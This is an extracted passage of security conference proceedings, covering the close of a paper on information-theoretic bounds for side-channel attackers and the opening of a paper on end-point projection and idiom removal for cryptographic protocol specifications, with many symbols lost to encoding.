2. for every v ∈ V , there is an m ∈ M with {L(v) ∩ f−1

m (o) | o ∈ O} = {L(w) |
(v, w) ∈ E}.

An attack strategy is of length l if T has height l.

A simple consequence of requirements 1 and 2 is that the labels of the leaves of
an attack strategy a = (T, r, L) form a partition Pa = {L(v) | v is a leaf of T }
(the induced partition) of K. We denote by Va the random variable that maps
k ∈ K to its enclosing block in Pa.

Definition 4 ([14]). We define Φ(n) = min{H(K|Va) | a is of length n} as the
resistance to chosen-message attacks of length n.

6.2 Comparing Side-Channel Attackers

The following theorem gives a formal account of the intuition that more com-
prehensive attackers can extract more information from a system.

Theorem 2. Let f : K × M → O be a side-channel. Then, for all n ∈ N,

Φ(n) ≤ Δ(n) ≤ Λ(n) .

Proof. Conditioning on Mn does not increase the entropy, hence we have
Δ(n) = H(K|OnMn) ≤ H(K|On) = Λ(n) for all n ∈ N. For showing
Φ(n) ≤ Δ(n), let (m1, . . . , mn) = argminm∈Mn H(K|On(Mn = m)) and ob-
serve that H(K|On(Mn = m)) ≤ H(K|OnMn). Define a as the attack strategy
where, for each node of distance i from the root, the message mi is chosen as
a query. A simple calculation shows that H(K|Va) =

∑
B∈P p(B)H(K|Va =

B) = H(K|On(Mn = (m1, . . . , mn))) holds, where P is the partition of K
given by

⋂n
i=1{f−1

mi
(o) | o ∈ O}. Here, ∩ denotes the intersection of parti-

tions, which is defined by Q ∩ Q′ = {B ∩ B′ | B ∈ Q, B′ ∈ Q′}. Then
Φ(n) ≤ H(K|Va) = H(K|On(Mn = (m1, . . . , mn))) ≤ H(K|OnMn) = Δ(n),
which concludes this proof.

The inequalities in Theorem 2 are strict for some side-channels f , as the following
example shows.
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Example 5. Let K = {1, 2, 3, 4}, M = {m1, m2}, O = {1, 2}, and f : K×M → O
such that f−1

m1
(1) = {1, 2} and f−1

m2
(1) = {2, 3}. With a uniform distribution

on K, Φ(1) = 1 and Φ(n) = 0, for n > 1. According to Theorem 1, Λ(n) is
bounded from below by H(K|V). With a uniform distribution on M , we have
pO|K=1 = pO|K=3, hence Λ(n) ≥ H(K|V) = 1

2H(K|V = [1]≡) = 1
2 . We have

limn→∞ ∆(n) = 0, but ∆ will not reach its limit for a finite n as, e.g, Mn =
(m1, m1, . . . , m1) is a possible choice of messages. Hence, Φ(n) < ∆(n) < Λ(n)
for the given f and large enough n.

We conclude that chosen-message attackers, known-message attackers, and un-
known message attackers form a strict hierarchy in terms of the information that
they can extract from a given side-channel.

7 Related Work

While there has been substantial work in information-flow security on detecting
or quantifying information leaks, there are no results for quantifying the infor-
mation leakage in unknown-message attacks. Lowe [15] quantifies information
flow in a possibilistic process algebra by counting the number of distinguishable
behaviors. Clarkson et al. [9] develop a model for reasoning about an adaptive
attacker’s beliefs about the secret, which may be right or wrong. The information
measure proposed by Clark et al. [8] is closely related to ours, however, it is not
applicable to side-channel attacks as it does not capture multiple computations
with the same key.

There is a large body of work on side-channel cryptanalysis, in particular
on attacks and countermeasures. However, there are only a few approaches that
give theoretical bounds on what side-channel attackers can, in principle, achieve.
Chari et al. [6] are the first to investigate methods for proving hardware im-
plementations secure with respect to power attacks. They propose a generic
countermeasure for power attacks and prove that it resists a given number of
side-channel measurements. Micali et al. [21] propose physically observable cryp-
tography, a mathematical model that aims at providing provably secure cryp-
tography on hardware that is only partially shielded.

The model of Micali et al. has been been specialized to a framework for the
evaluation of side-channel attacks by Standaert, Malkin, and Yung [27] (hence-
forth called the SMY-model), with applications described in [26,16,23]. An analy-
sis with the SMY-model is based on the probability distribution of the attacker’s
side-channel measurements. These distributions can be obtained from real mea-
surement data, which ensures the validity of the analysis. The SMY-model uses
two largely independent metrics for the evaluation of systems. The information-
theoretic metric considers only non-adaptive chosen-message adversaries and
is not given a direct interpretation in terms of security. The security metric
characterizes the security of a system in terms of the success rate for recovering
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the correct key when applying a given algorithm (e.g., Bayesian classification)
to the measurement data. In this way, an analysis with the SMY-model yields
meaningful assertions about the effectiveness of the chosen algorithm, but not
necessarily worst-case bounds.

By contrast, our metrics abstract from any concrete statistical analysis tech-
nique and explicitly consider the way the attacker interacts with the system.
This enables us to derive sound worst-case bounds for what can, in principle,
be achieved in a side-channel attack. Clearly, such formal bounds are practically
relevant only if they are based on a valid system model. For power analysis,
the practical implications of the bounds derived using our model require further
investigation (see Section 5.3). For timing analysis, the number of clock ticks
provides a reasonable and deterministic abstraction of time. For this application
domain, our metrics offer the advantage of quantitative bounds that are sound
with respect to arbitrary statistical analysis techniques and different kinds of
attacker interactions.

8 Future Work and Conclusions

We have presented a novel approach to quantify the secret information that is re-
vealed to unknown-message side-channel attackers. We have applied it to analyze
the vulnerability of a finite-field exponentiation algorithm to unknown-message
timing attacks. In particular, we have used it to perform the first formal analysis
of message-blinding as a countermeasure against timing attacks. Finally, we have
given a formal account of the intuition that more comprehensive attackers can
extract more information from a given side-channel.

As future work, we plan to investigate whether techniques for entropy esti-
mation [2] can be used to approximate the value of Λ for implementations with
operands of larger bit-widths. Another possibility for future work is to investi-
gate whether Λ can be approximated by language-based techniques, e.g., by a
type system. This would enable us to derive bounds for systems with larger or
infinite state spaces. Finally, it is an open problem to determine information-
theoretic bounds for systems that incorporate common components such as cache
architectures.

Acknowledgments. We thank François-Xavier Standaert for valuable feedback.
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Exponentiation in Smartcards. In: Koç, Ç.K., Paar, C. (eds.) CHES 1999. LNCS,
vol. 1717, pp. 144–157. Springer, Heidelberg (1999)

21. Micali, S., Reyzin, L.: Physically Observable Cryptography (Extended Abstract).
In: Naor, M. (ed.) TCC 2004. LNCS, vol. 2951, pp. 278–296. Springer, Heidelberg
(2004)

22. Osvik, D.A., Shamir, A., Tromer, E.: Cache Attacks and Countermeasures: the
Case of AES. In: Pointcheval, D. (ed.) CT-RSA 2006. LNCS, vol. 3860, pp. 1–20.
Springer, Heidelberg (2006)

23. Petit, C., Standaert, F.-X., Pereira, O., Malkin, T.G., Yung, M.: A Block Cipher
based Pseudo Random Number Generator Secure Against Side-Channel Key Re-
covery. In: Proc. AsiaCCS 2008, pp. 56–65. ACM, New York (2008)

24. Quisquater, J.-J., Samyde, D.: ElectroMagnetic Analysis (EMA): Measures and
Couter-Measures for Smard Cards. In: Attali, S., Jensen, T. (eds.) E-smart 2001.
LNCS, vol. 2140, pp. 200–210. Springer, Heidelberg (2001)



532 M. Backes and B. Köpf
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Cryptographic Protocol Explication
and End-Point Projection

Jay McCarthy� and Shriram Krishnamurthi
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Abstract. Cryptographic protocols are useful for engineering trust in transac-
tions. There are several languages for describing these protocols, but these tend
to capture the communications from the perspective of an individual role. In con-
trast, traditional protocol descriptions as found in a state of nature tend to employ
a whole-protocol description, resulting in an impedance mismatch.

In this paper we present two results to address this gap between human
descriptions and deployable specifications. The first is an end-point projection
technique that consumes an explicit whole-protocol description and generates
specifications that capture the behavior of each participant role. In practice, how-
ever, many whole-protocol descriptions contain idiomatic forms of implicit spec-
ification. We therefore present our second result, a transformation that identifies
and eliminates these implicit patterns, thereby preparing protocols for end-point
projection.

Concretely, our tools consume protocols written in our whole-protocol
language, ����, and generate role descriptions in the cryptographic protocol pro-
gramming language, ����. We have formalized and established properties of the
transformations using the Coq proof assistant. We have validated our transforma-
tions by applying them successfully to most of the protocols in the ����� repository.

1 Problem and Motivation

In recent years, there has been a vast growth of services o�ered via the Web, such as
third-party credit-card handling as o�ered by several banks. There is growing recogni-
tion that these services must o�er security guarantees by building on existing protocols
and techniques that establish such guarantees.

Fig. 1 shows three examples of actual protocols, as found in a state of nature. Fig. 1
(a) is the specification of the Kerberos protocol [21]; (b) is the specification of the Kao
Chow protocol from [17]; and (c) is the specification of the Yahalom protocol [7] for
the ����� repository [22].

These specifications contain a description of what each role of the protocol does at
each step of the protocol. They say that at each step, some role a sends a message m to
another role b, written a � b : m. However, it is important to understand that this is
not what actually happens. In reality, a emits a message m and b receives a message m�

that matches the pattern of m. Recognizing this distinction makes apparent the threat of
man-in-the-middle attacks and other message mutilation in the network medium. This

� Current aÆliation: Brigham Young University.

S. Jajodia, and J. Lopez (Eds.): ESORICS 2008, LNCS 5283, pp. 533–547, 2008.
c� Springer-Verlag Berlin Heidelberg 2008
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A, B, S : principal

Na, Nb : number fresh

Kas, Kbs, Kab : key

A knows : A, B, S, Kas

B knows : B, S, Kbs

S knows : S, A, B, Kas, Kbs

1. A->B: A, Na

2. B->S: B, {A, Na, Nb}Kbs
3. S->A: {B, Kab, Na, Nb}Kas, {A, Kab}Kbs
4. A->B: {A, Kab}Kbs, {Nb}Kab

Description of the protocol rules

The fresh symmetric shared key Kab is created by the
server S and sent encrypted, in message 3 both to A

(directly) and to B (indirectly).

Requirements

The protocol must guaranty the secrecy of Kab: in every

(a) (b) (c)

Fig. 1. Protocols in the wild

is called the Dolev-Yao network model [12]. The role of a cryptographic protocol is to
describe a sequence of messages that accomplishes some goals—perhaps exchanging
data or creating a logical session—even when attacked by a powerful adversary.

All three of the protocols in Fig. 1, and most others like them found in the literature
and in repositories, have two characteristics in common:

1. They describe the entire protocol at once, whether diagrammatically (akin to a mes-
sage sequence chart) or in an equivalent textual format.

2. They have certain idiomatic forms of implicit specification (see below and Sec. 5).

The whole-protocol nature of description is problematic because ultimately, what
executes is not the “protocol” per se, but rather various software and hardware devices
each implementing the individual roles. Therefore, we need a way to automatically
obtain a description of a single role’s behavior from this whole-protocol description.

The problem of obtaining individual roles from a composite description is familiar.
In the realm of Web Services, is is common to choreograph a collection of roles by
presenting a similar whole-protocol description. This has led to the definition of end-
point projection [9], a process of obtaining descriptions of individual role behaviors
from the choreography.

Unfortunately, we cannot directly lift the idea of end-point projection to the crypto-
graphic realm because existing descriptions of end-point projection do not handle the
complexities introduced by cryptography. If role A sends a message encrypted with key
K, then role B can only receive the contents of that message if he has key K. Cryptogra-
phy introduces information asymmetries like this into communication: it is not always
the case that what one role can send, another role can receive. Existing end-point pro-
jection systems assume that such asymmetries do not exist. These systems thus focus
on communication patterns and neglect communication content. In this paper, we de-
fine end-point projection from whole protocol specifications to the ���� [15] role spec-
ification language that builds on past work but considers the question of information
asymmetries. We target ���� because it supports a host of other analyses.
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An additional problem is that protocol specifications have a few idiomatic forms.
They typically do not explicitly encode: (a) what information is available at the first
step of the protocol; (b) where and when various values, such as nonces1, are generated;
(c) when certain messages are not deconstructed; and, (d) the order in which messages
components are deconstructed. We provide a whole-protocol specification language,
����, that allows all these to be expressed explicitly. Furthermore, we provide a trans-
formation that removes idioms (b), (c), and (d) from a protocol.

Formalization. Our work is presented in the context of an adaptation of ����, the Cryp-
tographic Protocol Programming Language. We have built an actual tool and applied it
to concrete representations of protocols, as we discuss in Sec. 5. All our work is for-
malized using the Coq proof assistant [24]. Coq provides numerous advantages over
paper-and-pencil formalizations. First, we use Coq to mechanically check our proofs,
thereby bestowing much greater confidence on our formalization and on the correctness
of our theorems. Second, because all proofs in Coq are constructive, our tool is actu-
ally a certified implementation that is extracted automatically from our formalization,
thereby giving us confidence in the tool also. Finally, being a mechanized representa-
tion means others can much more easily adapt this work to related projects and obtain
high confidence in the results.

Our Coq formalization2 includes 2.6k lines of specification and 3.5k lines of proof
and was produced in roughly three mythical man-months. The formalization of ����

and strands spaces consists of 1.1k and 1.5k lines. The definition of ���� is only 1.3k
lines, evenly divided between specification and proof. Finally, the idiom removal trans-
formation is 841 lines of specification and 1.3k lines of proof. The most diÆcult part of
the work was formulating and verifying properties about the transformation; the other
components merely required commitment and patience.

Outline. We define the syntax and semantics of our language, ����, in Sec. 2. Pursuant
to describing our end-point projection, we give the relevant details of ���� in Sec. 3.
We give the end-projection from ���� to ���� in Sec. 4. We describe our transformation
from idiomatic to explicit protocol specifications in Sec. 5. We follow with related work,
and our conclusion.

2 WPPL

���� is our domain-specific language for expressing whole cryptographic protocols
with trust annotations. It matches the level of abstraction of the Dolev-Yao model [12],
i.e., the programmer regards the cryptographic primitives as black boxes and concen-
trates on the structural aspects of the protocol. In this view of protocol behavior, as each
principal executes, it builds up an environment that binds identifiers to values encoun-
tered and compares these values with subsequent instances of their identifiers.

The Core Language. The syntax of the ���� core language is presented in Fig. 2. The
core language has protocol specifications (s), role declarations (rs), and six types of

1 Nonces are unique random values intended to be used only once for, e.g., replay protection.
2 Sources are available at: ��������������	
�������
��
������������
��������
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s � (spec rs� a)
rs � [x (v�) (u�)]
a � . � [x � y : � m � ] a � let v @ x � new nt a
� bind v @ x to m a � match v @ x with m a � derive � @ x a

nt � nonce � symkey � pubkey
m � nil � v � k � (m�m�) � hash(m) � � v � m �

� [m]v � [�m�]v � �m�v � ��m��v
v � x : t
t � text � msg � nonce � name � symkey � pubkey

Fig. 2. ���� Syntax

� ���� ��� �� 	 � ���� ���	��

� �	 �	 � �	�� ���	�� �� �� 	 � ��� �	�� ����

� �� �� � � �� 	� ��������

 �� �� 	 � !"�� 	� ��� ��	"# ���� !"�� 	� ��� ��	"# �	��

$ �	 �� � � !"�� 	� ��� ��	"# ���� !"��"# ��	� �	������

% �� �� 	 � !"�	"# ��	� ��

Fig. 3. Kao Chow in ����

actions (a). Programming language identifiers are indicated by x, lists of variables by
v�, and constants (such as 42) by k. The language has syntax for trust management
formulas—by convention we write guaranteed formulas as � and relied formulas as � .

Examples. Fig. 3 shows the Kao Chow [17] protocol as an idiomatic ���� specification.
We will discuss what exactly is idiomatic about this specification in Sec. 5.

Syntactic Conventions. m refers to both messages and message patterns because of the
network model. Consider the m expression ��� �� ��� ����. The sender looks up �,
�, etc., in its environment to construct a message that it transmits. From the receiver’s
perspective, this is a pattern that it matches against a received message (and binds the
newly-matched identifiers in its own environment). Because of the intervening network,
we cannot assume that the components bound by the receiver are sent by the sender.

A protocol specification declares roles and an action. Role declarations give each
role a name x, a list v� of formal parameters, and a list u� of identifiers that will be
returned by the protocol representing the “goal” of the protocol. Actions are written
in continuation-passing style. Although the grammar requires types attached to every
identifier, we use a simple type-inference algorithm to alleviate this requirement. (Simi-
larly, we infer the principal executing each action.) However, these technical details are
standard, so we do not elaborate them.

Well-formedness. Compilers use �	
 context-free grammars to syntactically parse pro-
grams. They must also use context-sensitive rules to determine which syntactic ex-
pressions are legal programs: e.g., when the syntax refers only to bound identifiers.
Similarly, not all ���� specifications describe realizable protocols. The only surprising
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V�� (S�	
)
v � �

� �s v

H��� (S�	
)
� �s m

� �s hash(m)

S�E	� (S�	
)
i � � � �s m

� �s ��m��(i : symkey)

V�� (R���)

� �r v

H��� (R���)
� �s m

� �r hash(m)

Fig. 4. Message well-formedness (excerpts)

aspect of the well-formedness condition on ���� is that, due to cryptographic primi-
tives, the conditions are di�erent on message patterns used for sending and receiving.

Intuitively, to send a message we must be able to construct it, and to construct it,
every identifier must be bound. Therefore, a pattern m is well-formed for sending in
an environment � (written � �s m; see Fig. 4 for non-structural rule examples) if all
identifiers that appear in it are bound; e.g., the message on line 3 of Kao Chow is not
well-formed, because �� is not bound.

A similar intuition holds for using a message pattern to receive messages. To check
whether a message matches a pattern, the identifiers that confirm its shape—namely,
those that are used as keys or under a hash—must be known to the principal. Thus, we
define that a pattern m is well-formed for receiving in an environment� (written� �r m;
see Fig. 4 for non-structural examples3) if all identifiers that appear in key-positions or
hashes are bound. For example, the message pattern on line 4 of Kao Chow is not
well-formed to receive, because � does not know ���.

We write � � f s to mean that the formulas f s are well-formed in the environment
�. This holds exactly when the identifiers mentioned in f s are a subset of �.

A ���� specification is well-formed when, for each declared role, the identifiers it
uses are bound and the messages it sends or receives are well-formed.

We write �� � �
r
� a to mean that an action a is well-formed for role r, that r expects

to return �, in the environment �, when it has previously communicated with the roles
in �, where � and � are sets of identifiers, r is an identifier, � is a list of variables, and a
is an action. We write �r s to mean that the specification s is well-formed for the role r
and � s to mean that specification s is well-formed for all roles r that appear therein.

The parameter � is necessary because returns do not specify what is being returned.
The parameter � is necessary because we do not require explicit communication chan-
nels. At first glance, it may seem that we must only ensure that the name of a commu-
nication partner is in �, but this is too conservative. We are able to reply to someone
even if we do not know their name. Therefore, � records past communication partners.

We choose to require well-formed ���� specifications to be causally connected [9].
This means that the actor in each action is the same as that of the previous action, except
in the case of communication. Our presentation does not rely on this property, so we
believe we could elide it. However, we believe that to do so would allow confusing
specifications that are not commonly found in the literature.

Semantics. The semantics of ���� contains an implicit end-point projection. Each
phrase is interpreted separately for every role as a set of strands that describes one
possible local run of that role. These sets are derived from the many possible strands

3 The H��� (R���) rule is not a typo.
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p � proc x v� � c
c � fail � return � v� � derive � c c� � let v � lv in c � send � v m c c�

� recv v m � c c� � call � x v� u� � c c� � match v m � c c�

lv � new nonce � new symkey � new pubkey � accept � connect v � m
t � � � � � channel

Fig. 5. ���� Syntax

that may be derived as descriptions for particular phrases. We write a �r
��� s� � to mean

that an action a, when executed by role r, with return variables �, and the current con-
nections � may produce strand s and requires � to all be unique identifiers.

We use a few strategies in this semantics. First, to ensure that the same identifiers are
bound in the strand, we send messages (“internal dialogue”) that contain no informa-
tion, but where the formulas bind identifiers. Second, the interpretation of matching is
to emit an identifier, then “over-hear” it, using a message pattern. Third, when binding
an identifier, the identifier is replaced by the binding in the rest of the strand.

We write sp �r s� � to mean that spec sp, when executing role r may produce strand
s and requires � to all be unique identifiers. We prove that this semantics always results
in well-formed strands for well-formed specifications.

Theorem 1. If �r sp and sp �r s� � then � s.

Adversary. Because the semantics of a ���� specification is a set of strands, the Dolev-
Yao adversary of the general strand model is necessarily the adversary for ����. A
Dolev-Yao adversary has the capability to create, intercept, and redirect messages. He
can redirect messages from any party to any party. He can intercept messages to learn
new information. He can create messages based on previously learned information. His
only constraint is that he cannot break the cryptographic primitives, i.e., he must possess
the appropriate key to decrypt a message. Therefore, the only information he knows is
derived from an insecure context.

3 CPPL

���� [15] is a domain-specific language for expressing cryptographic protocols with
trust annotations. The definition we use slightly extends the original work with trust
derivations, message binding, empty messages, and explicit failure.

Syntax. The syntax of the ���� core language is presented in Fig. 5. The ���� core lan-
guage has procedure declarations and eight types of code statements. It uses the same
syntactic conventions as ����.

Well-formedness. ���� procedures and code statements are well-formed when all iden-
tifiers used are bound. This in turn means that messages are well-formed in their appro-
priate context: sending or receiving. We write � � c to mean that code statement c is
well-formed in �. Similarly, we write � p for well-formedness of procedures.

Semantics. The semantics of a ���� phrase is given by a set of strand, each of which
describes one possible local run. We write c � s� � to codify that the strand s describes
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C� (S�	
, C�		����
)
t � � a �r

���
c�

[r � t : � m � ] a �r
���

send � tc m c� fail

C� (S�	
, C�		���)
t � � a �r

�����t� c� c � send � tc m c� fail

[r � t : � m � ] a �r
���

let tc � connect t in c

Fig. 6. End-point projection (excerpts)

the code statement c, under the assumption that the identifiers in � are unique. We
write p � s� � to mean that a procedure p is described by the strand s with the unique
identifiers �.

Theorem 2. If � p then if p � s� �, then � � s.

4 End-Point Projection

Our end-point projection of ���� into ���� is realized as a compiler. We write a �r
��� c

to mean that the projection of a for the role r, with return variables �, when � are all
roles r has communicated with, is c. An example of this definition is given in Fig. 6.

The compilation is straight-forward, by design of ����, and is, in principle, no di�er-
ent that previous work on this topic. The only interesting aspect is that ���� uses chan-
nels in communication, while ���� uses names. Thus, we must open channels as they
are necessary. This is accomplished by the auxiliaries �	
 ����	�
 and �	
 ���	
,
which produce a let statement that opens the channel through the appropriate means.
These introduce new bindings in the ���� procedure that are not in the ���� specifica-
tions, and must be specially tracked.

Theorem 3. If �� � �r
� a and a �r

��� c then � � c.

Theorem 4. If a �r
��� c, then if a �r

��� s� � then c � s� �.

Theorem 4 expresses preservation of semantic meaning: the strand s and the unique set
� are identical in both evaluation judgments. This means that the ���� phrase perfectly
captures the meaning of the ���� phrase.

Another two proofs about the compiler show that there is always a return state-
ment and that all return statements are the same. This ensures the well-formedness of
compiled ���� procedures.

We lift the compiler of actions to specifications. We write s �r p to mean that the
projection of the specification s for the role r is the procedure p. For some roles, namely
those that are not declared in the specification, we will write s �r

� to indicate the lack
of a projection for the role.

Theorem 5. �r s implies there is a p such that s �r p and � p.

Theorem 6. sp �r s� � implies sp �r p implies p � s� �.
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Fig. 7. Compilation of Kao Chow role - into ����

Example. Fig. 7 is the compilation of one role of the Kao Chow protocol (Fig. 3), after
explication. The others are similar.

5 Explicit Transformation

Having shown a correct end-point projection, we turn to the problem of handling the id-
ioms in specification. The Kao Chow specification (Fig. 3) is not well-formed because:

1. � cannot construct the message on line 3 because �� is not bound.
2. � cannot construct the message on line 4 because ��� is not bound.
3. � cannot match the message on line 4 because ��� is not bound.
4. � cannot construct the message on line 5 because �� is not bound.
5. � cannot match the message on line 5 because ��� is not bound.

We are specifically interested in allowing protocols to be taken from standard presenta-
tions in the literature and used with our compiler. As other researchers have noted [1,4],
protocols like this often make use of very loose constructions and leave many essentials
implicit. One approach is to reject such protocols outright and force conformance. Our
approach is to recognize that there is a de facto idiomatic language in use and support
it, rather than throwing out the large number of extant specifications.

The Kao Chow protocol contains all the idioms that we most commonly encounter:

I. Implicitly generating fresh nonces and keys by using a name that does not appear
in the rest of the specification (e.g., ��, ���, and ��).

II. Allowing roles to serve as carriers for messages that they cannot inspect, without
indicating this (e.g., the first part of line 4’s message).

III. Leaving the order of pattern-matching unspecified (e.g., line 5).

We remove all these idioms and produce a version of this protocol that is well-formed.

Overview. Our transformation has three stages. The first removes idiom I, by generating
new bindings for nonces and keys. The second removes idiom II and is the first step of
removing idiom III. It lifts out message components that are possibly unmatchable,
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Fig. 8. Kao Chow in ���� after step one

i.e., encrypted or hashed, and binds them to identifiers. The third stage matches bound
identifiers against their construction pattern, when this will succeed. This sequences
pattern matching, removing idiom III, and recovers any losses temporarily created by
stage two. We conclude with an evaluation of these transformations.

Generation. Our first transformation addresses problems 1, 2 and 4 above by explicitly
generating fresh values for all nonces, symmetric keys, and public keys that appear free
in the entire protocol. After transformation, Kao Chow is as in Fig. 8.

This transformation is very simple, so we do not present it in detail. Instead, we ex-
plain its correctness theorem. We write gen(s) as the result of this stage for specification
s. Our theorem establishes a condition for when the first idiom is removed:

Theorem 7. For all s, if its action does not contain an instance of recursive binding,
then for all vi, if vi appears free in gen(s), then there exists a type vt, such that vt is not
�����, ������, or �	
��� and vi appears free in s with type vt.

An action has recursive binding if it contains as a sub-action ���� r v m a and v ap-
pears in m. These actions are not strictly well-formed, because v is not bound in m. How-
ever, we cannot assume that input specifications are well-formed—our transformation
is to make them so! So, we have parceled out the smallest amount of well-formedness
necessary.

This theorem says that any free identifier (a) is not of one of the types for which
we can construct a fresh value and (b) is free in the original specification, i.e., was not
introduced by our transformation. Thus, the first idiom is successfully removed. But we
still have problems 3 and 5, so our modified Kao Chow protocol is still not well-formed.

Lifting. The second stage transforms each message construction by introducing a mes-
sage binding for each message component. It binds those components that can po-
tentially fail to match, namely signing and encryption (which require the key to be
matched), and hashing (which requires the hash contents to be matched). This results
in Kao Chow further being rewritten to the form shown in Fig. 9. As a result of this
transformation, � can transmit ���� without needing to inspect it on line 4.

This serves to ensure (a) all matching sides of communication are well-formed; (b)
messages that are carried without inspection are well-formed for sending; and, (c) se-
quencing is completely unspecified on the receiving side. We prove a theorem about
this stage that establishes criterion (a), but we argue criteria (b) and (c) informally.
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Fig. 10. Kao Chow in ���� after step three

One interesting part of our transformation is that it is not structurally recursive in the
action. In the cases for communication, binding, and matching, the translation is recur-
sively applied to the result of replacing all instances of the lifted message components
in the continuation. Instead, we recur on a natural number bound. We prove that the
number of actions is a lower bound for its correctness.

This transformation removes idiom II, but introduces many instances of idiom III.

Opening. The third stage introduces pattern-matching at each point where a message
previously bound may be successfully matched against the pattern it was bound to. This
results in Kao Chow being rewritten to the final, well-formed, form shown in Fig. 10.
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After this stage, every message that can possibly be deconstructed by each role is
deconstructed. This removes idiom III by fully specifying the order of pattern matching.
In particular, it removes instances of idiom III introduced by the second stage.

Although it follows from this stage’s mission statement, it is not necessarily intuitive
that this stage will also check that previously unverified message contents are correct.
Since this pattern occurs when a message that could not be deconstructed becomes
transparent, this pattern is handled by this step. For example, if a commitment message,
hash(m), has been received, but the contents, m, is unknown until a later step; this stage
will check the commitment at the appropriate time.

This stage must solve the following problem: find some order whereby the messages
may be matched, or “opened.” A message may be opened if (a) the identifier it is bound
to is bound (which isn’t necessarily the case: e.g., ���� is not bound on line 7) and (b)
it is well-formed for receiving in the environment. At each line of the specification, our
transformation will compute the set of messages that may be opened, and the order to
open them in. If a message cannot be opened, it will be reconsidered in subsequent lines.
Note that this is a recursive set, because opening a message extends the environment,
potentially enabling more messages to be opened. Thus, messages that can’t be opened
may become amenable to opening after some other message is opened.

The core of the transformation is a function that computes this set for each line. This
function, �	� �����, in principle accepts a B, list of identifiers and message patterns,
i.e., the bound messages, and �, an environment. It partitions B into two lists: C, the
bound messages that cannot be opened; and O, those that can.

In fact, this function cannot not only receive these two values as arguments, because
it cannot be defined recursively on either of them. Instead, it is supplied an additional
integer bound that must be greater than the number of messages.

Theorem 8. If (i�m) is in C, then either i � � � ids(O) or � � ids(O) �r m.

Theorem 9. If O � p @ (i�m) :: q, then i � � � ids(p) and � � ids(p) �r m.

Our transformation is trivial, given �	� �����. In essence, it keeps track of the environ-
ment of the role being transformed and the bound messages. Then, it calls �	� �����

and uses the result of a small auxiliary, ����� ��
��, destructures bound messages,
thereby removing idiom III. We prove the following theorem about ����� ��
��:

Theorem 10. If �� � � ids(O) �r
� a and 
	�� ����� r O a � a� then �� � �r

� a�.

Evaluation We now evaluate the e�ectiveness of these transformations. We did not
“evaluate” end-point projection because our theorem established that it succeeds for
all inputs. Similarly, we have established appropriate correctness conditions for each
of the three transformations. However, we still need to determine how well the three
transformations actually cover the space of protocols found in practice. (Note that we
cannot argue the correctness of the composition of the three transformations, because
their input is not well-formed, so there is no foundation for their “correctness”.)

We attempted to encode fifty of the protocols in the ����� repository in ����. We
successfully encoded forty-three of the protocols. We consider this compelling evidence
that ���� is useful for producing protocols. Of these protocols, zero were well-formed
in the repository and all are well-formed after applying the composed transformation.
This demonstrates the transformations can remove idioms from protocol specifications.
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Weaknesses and Limitations. ���� has a few weaknesses that prevent all protocols to
be encoded. First, ���� cannot express unique cryptographic primitives. It can only
express asymmetric or symmetric modes of encryption or signing and hashing. There-
fore, it cannot express protocols that build these (and other) primitives. For example, the
DiÆe-Hellman protocol [11] is a method of creating shared symmetric keys. We cannot
guarantee from within our framework that these keys are equivalent to our symmetric
keys. In essence, this protocol is too low-level for our theory.

Second, there is no way to express conditional execution in ����. Thus, there is
only one path through a protocol and protocols with built-in failure handling, such as
the �� protocol [14], cannot be written. We could have extended our work to allow
the expression of these protocols, but ���� attempts to capture the spirit of traditional
protocol description, and we cannot identify a community consensus on how to write
conditional executions.

Third, protocols that rely on parallel execution are not well-formed, as mentioned
earlier. For example, a principal cannot transmit two messages in a row, without receiv-
ing a message. The transformation does not remove this instance of parallelism.

6 Related Work

End-point Projection. Carbone, Honda, and Yoshida [9] have developed an end-point
projection for the Choreography Description Language. Our approach is di�erent in a
few fundamental ways. First, they do not specify a well-formedness condition to iden-
tify information asymmetries between participants as we do in Sec. 2, because they do
not discuss cryptography. Instead, their well-formedness conditions only involve ses-
sion usage. Second, sessions are an assumed concept in Web Services, whereas in the
cryptographic space, session creation is often the goal of a protocol. Therefore, we can-
not impose their session usage conditions. Third, they allow conditional and parallel
protocol execution, which we do not.

Sabri and Khedri [23] employ the Carbone framework of end-point projection in
their development of a framework for capturing the knowledge of protocol participants.
They observe that they must verify the well-formedness of protocols given information
asymmetries, but do not address this problem. Rather, they assume they are resolved
appropriately. Therefore, our work is complementary to theirs.

Corin et al. [10] perform end-point projection in their work on session types. A
session type is a graph that expresses a global relation among protocol participants, in-
cluding the pattern of legal communications. When implementing a role, it is necessary
to consider that role’s view of the graph. End-point projection is used to derive these
session views as types that can be verified at each end-point. Corin’s application of end-
point projection is di�erent from either Carbone’s or ours. While Corin uses ��� at the
type-level, we use it at the program-level. However, the technique is basically the same.

Program Slicing. The essence of end-point projection is program slicing [25]. Program
slicing is a technique to take a program and remove parts of it that are irrelevant to
some particular party. For example, the program slice with respect to some variable is
the subset of that program which influences the value of the variable. In our case, we
will be slicing a program with respect to some participant and removing parts of the
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program that do not concern that party. In particular, if the role in question receives a
message, it need not be concerned with the generation of that message.

Compiling Traditional Protocol Specifications. ����� [20] is a system that transforms a
protocol into runnable Java code. ����� describe the entire protocol and their compiler
performs an end-point projection. Our work is distinct for multiple reasons. First, �����
targets the analysis theory of the 	�� Protocol Analyzer [19], rather than the stand
spaces with rely-guarantee. Second, ����� specifications are fully explicit and annotated
to resolve idioms, thus they do not resemble the style used in the literature.

Casper [18], “a compiler for the analysis of security protocols”, takes programs writ-
ten in a whole-protocol form and transforms it into ��� processes that can be checked
with the 
�� model-checker. This system is intended not only to specify the protocol, but
also its security goals. Like �����, protocols are required to be fully explicit and with-
out idioms. However, Casper is superior to ���� in that it deals with properties. This
represents a di�erence in ����’s focus: protocol deployment rather than development.

�����, Casper, AVISS [3] and CVS [13] use the � operator to annotate when values
cannot be understood and must be treated as black boxes. Our transformation essentially
generates these annotations are generated where information asymmetries exist.

Jacquemard et al. [16] compile whole-protocol specifications into rewrite rules that
model the protocol and can be verified with the daTac theorem-prover. This system
specifies the protocol as well as properties about it. The main advantage over Casper,
etc. is that daTac can be used to handle infinite state models. In their work, they deal with
information asymmetries by tracking the knowledge available to each principal at each
point of the protocol. However, they do not revisit earlier message components that were
treated as black boxes when the knowledge needed to inspect their contents becomes
available as we do. This process of dealing with idioms and information asymmetries
is embedded in their semantics, rather than an orthogonal step (as we present it).

Explication. Bodei et al. [5] mention the idioms of traditional protocol specifications. In
their work they give some advice for how to manually make such specifications explicit,
but they do not automate this process.

Briais and Nestmann [6] investigate the formal semantics of traditional protocol
specifications. They address three of four forms of informality mentioned by Abadi [1].
Only two of these correspond to parts of our transformation or specification language.
First, to “make explicit what is known before a protocol is run”, which we require in the
